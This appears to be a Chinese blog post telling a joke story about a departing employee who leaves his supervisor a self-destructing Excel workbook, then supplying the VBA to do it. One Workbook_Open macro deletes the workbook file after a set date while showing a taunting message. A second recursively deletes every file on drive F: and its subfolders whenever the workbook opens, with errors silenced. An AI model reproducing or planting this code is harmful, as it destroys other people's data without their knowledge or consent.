HI,大家好,我是星光。
话说,在很久很久以前,在山的那边海的那边……有位Excel高手……他在一家电子商务公司上班。
他有一份Excel工作簿,通过VBA或函数将日常工作全部结构化、智能化、自动化了。他每天闲的除了喝王者农药就是剁手逛淘宝,他主管看他不顺眼,三番两次刁难他。于是他耸耸肩宣布辞职……
临走前,他将那份神奇的Excel工作簿留给了主管。主管觉得那份Excel工作簿真好用,公司没有必要再招新员工了;主管又觉得那孩子真傻,这么好的东西居然白白留给公司,真是个二货啊……
过了几天,主管打开那份Excel工作簿,打算像往常那样点击鼠标,一键处理问题,Excel突然弹出一条信息:
主管一脸懵逼……
然后,这份工作簿就从主管的电脑里消失了,就像从来没存在过一样。
……
如果你需要一份拥有自杀功能的Excel工作簿,将下面的代码复制到该工作簿VBE窗口的ThisWorkbook的代码窗口内,保存退出就可以了。
代码如看不全可以左右拖动..▼
Private Sub Workbook_Open()
Dim dat As Date
dat = DateSerial(2019, 10, 1)
If Date >= dat Then
Application.DisplayAlerts = False
MsgBox '你好,二货!你相信Excel会成精吗?' & vbCr & '大爷我活够了,我要死了,再见~嘎嘎嘎嘎嘎~。'
With ThisWorkbook
.Saved = True
.ChangeFileAccess xlReadOnly
Kill .FullName
.Close
End With
End If
End Sub
Private Sub Workbook_Open()
Dim p As String
p = 'F:\' '指定批量删除文件的所在硬盘
Call Killy(p) '调用FSO遍历子文件夹的递归过程
End Sub
Function Killy(p)
On Error Resume Next
Application.DisplayAlerts = False
Set fld = CreateObject('Scripting.FileSystemObject').GetFolder(p)
Kill fld.Path & '\*.*'
For Each fd In fld.SubFolders
Call Killy(fd.Path)
Next
End Function
联系客服